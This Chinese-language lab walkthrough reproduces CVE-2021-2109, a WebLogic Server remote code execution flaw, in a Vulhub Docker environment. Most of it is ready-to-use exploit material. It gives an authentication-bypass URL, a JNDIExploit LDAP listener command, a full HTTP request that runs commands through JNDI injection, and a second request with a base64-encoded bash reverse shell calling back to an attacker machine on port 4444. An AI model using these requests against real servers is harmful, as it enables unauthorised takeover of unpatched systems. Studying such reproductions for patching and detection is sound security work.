CVE-2021-2109 Weblogic Server远程代码执行

漏洞背景

2021年1月20日，Oracle官方发布了漏洞补丁，修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中，攻击者可构造恶意请求，造成JNDI注入，执行任意代码，从而控制服务器。该漏洞为Weblogic的远程代码执行漏洞，主要由JNDI注入，导致攻击者可利用此漏洞远程代码执行，危险等级高。

漏洞影响版本

Weblogic Server 10.3.6.0.0
Weblogic Server 12.1.3.0.0
Weblogic Server 12.2.1.3.0
Weblogic Server 12.2.1.4.0
Weblogic Server 14.1.1.0.0

漏洞复现

环境搭建

使用Vulhub的CVE-2020-14882漏洞环境来复现，如下启动漏洞环境。

下载环境

docker-compose up -d

检查环境是否启动

docker ps

访问目标地址得到如下的页面：

使用CVE-2020-14882未授权访问登录后台，未授权URL地址：

http://192.168.106.6:7001/console/css/%252e%252e%252fconsole.portal

命令执行

开启JNDI监听

java -jar JNDIExploit-v1.11.jar -i 192.168.106.1（本机IP）

BP发送数据包

POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.106;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1      
Host: 192.168.106.6:7001      
Pragma: no-cache      
Cache-Control: no-cache      
Upgrade-Insecure-Requests: 1      
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36      
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9      
Accept-Encoding: gzip, deflate      
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8      
cmd:id      
Cookie: rememberMe=1; ADMINCONSOLESESSION=SHZ2XSBhINTtK05OkiYc3YmbENIp5MODNGWF7EaAje_adp2PQ58L!-286302025; rememberMe=1      
Connection: close

可以看到我们的命令执行成功了。

反弹shell

POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.106;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1      
Host: 192.168.106.6:7001      
Pragma: no-cache      
Cache-Control: no-cache      
Upgrade-Insecure-Requests: 1      
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36      
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9      
Accept-Encoding: gzip, deflate      
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8      
cmd:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNi4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}      
Cookie: rememberMe=1; ADMINCONSOLESESSION=SHZ2XSBhINTtK05OkiYc3YmbENIp5MODNGWF7EaAje_adp2PQ58L!-286302025; rememberMe=1      
Connection: close

本机监听4444端口